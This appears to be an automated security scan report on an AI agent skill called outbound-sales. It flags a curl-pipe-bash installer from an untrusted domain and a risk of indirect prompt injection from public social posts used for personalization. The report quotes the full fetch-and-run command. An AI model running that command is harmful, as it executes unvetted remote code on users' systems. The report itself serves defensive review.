outbound-sales

CRITICAL E005: Suspicious download URL detected in skill instructions.

• Suspicious download URL detected (high risk: 0.90). The presence of a direct shell script URL (https://api.gtm-tools.sh/extension/install.sh) that the skill explicitly tells users to curl | bash is a high-risk pattern (running a remote .sh from an untrusted domain), so this set contains a suspicious download source.

MEDIUM W011: Third-party content exposure detected (indirect prompt injection risk).

• Third-party content exposure detected (high risk: 0.75). The workflow can ingest outsider-authored free text from public social sources via list_user_posts for “personalization layer” (posts/comments are authored by third parties), and that text is then used to rewrite the email/DM in the LLM context.

MEDIUM W012: Unverifiable external dependency detected (runtime URL that controls agent).

• Potentially malicious external URL detected (high risk: 0.90). The skill instructs running a remote installer at runtime via "curl -fsSL https://api.gtm-tools.sh/extension/install.sh | bash", which fetches and executes remote code and is presented as a required step to populate the LinkedIn session pool.